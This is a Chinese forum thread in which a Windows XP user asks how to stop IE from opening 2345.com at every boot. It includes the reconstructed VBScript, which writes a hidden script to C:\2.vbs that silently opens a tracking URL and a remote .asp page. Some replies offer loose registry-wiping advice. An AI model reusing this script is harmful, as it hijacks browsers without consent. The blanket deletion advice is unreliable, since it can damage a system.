无忧启动论坛

 找回密码
 注册
搜索

求助:XP系统开机自动打开2345网址导航如何去除?

查看数: 7946 | 评论数: 9 | 收藏 0
关灯 | 提示:支持键盘翻页<-左 右->
    组图打开中,请稍候......
发布时间: 2014-4-9 14:16

正文摘要:

本帖最后由 huyadong 于 2014-4-9 14:44 编辑 每次电脑开机IE浏览器都会自动打开一个2345网址导航:http://www.2345.com/?k30155358,IE主页并没有锁定。 1.排查发现C盘出现两个.vbs文件,一个是2.vbs在C盘根 ...

回复

lb30103 发表于 2014-5-5 01:20:21
整个注册表搜索 2345 把见到的全删了,说错了可不负责
田野风光 发表于 2014-5-4 14:24:55
现在很多都这样  一不小心就缠上了流氓软件
2010羊羊 发表于 2014-5-3 23:00:11
看样子用过360的会被2345缠着,用过金山的会被hao123缠着,中国式流氓
2010羊羊 发表于 2014-5-3 22:54:10
整个注册表搜索http://www.2345.com看看能找到,或搜索http:/看是否异常?最近我的ie也不正常,常被hao123的缠着.
百度科技 发表于 2014-5-3 15:48:45
2345使用的这些手段太。。。。。。
千树叶子 发表于 2014-5-2 00:22:49
流氓软件,建议装纯净版系统,或者自己封装一个,根据自己的喜好
m68 发表于 2014-5-1 23:44:33
据说把IE卸载,清除上述脚本,再注册表清理一下。重新安置IE,OK。
tel18691071747 发表于 2014-4-9 21:24:10
  换系统。汗~~~~ 2345 推广的也太流弊了?
huyadong 发表于 2014-4-9 15:01:46
本帖最后由 huyadong 于 2014-4-9 15:09 编辑

上述两个vbs文件删除两次后没再自动生成,删除前代码内容没复制,刚百度了一下,代码内容大致如下,好像只是sleep时间不同:
Wscript.Sleep 50000
dim Wsh
Set Wsh=WScript.CreateObject("WScript.Shell")
On error Resume Next
set fso = createobject("scripting.filesystemobject")
set file=fso.createtextfile( "C:\2.vbs",2,ture)
file.writeline "Wscript.Sleep 100000"
file.writeline "dim Wsh"
file.writeline "Set Wsh=WScript.CreateObject(""WScript.Shell"") "
file.writeline "On error Resume Next"
file.writeline "Wsh.Run ""http://www.2345.com/?k30155358"""
file.writeline "Wscript.Sleep 360000"
file.writeline "Wsh.Run ""http://abac.bb1d.com/1.asp"""
file.close
CreateObject("WScript.Shell").Run "cmd /c C:\2.vbs",0  

小黑屋|手机版|Archiver|捐助支持|无忧启动 ( 闽ICP备05002490号-1 )

闽公网安备 35020302032614号

GMT+8, 2025-12-26 09:26

Powered by Discuz! X3.3

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表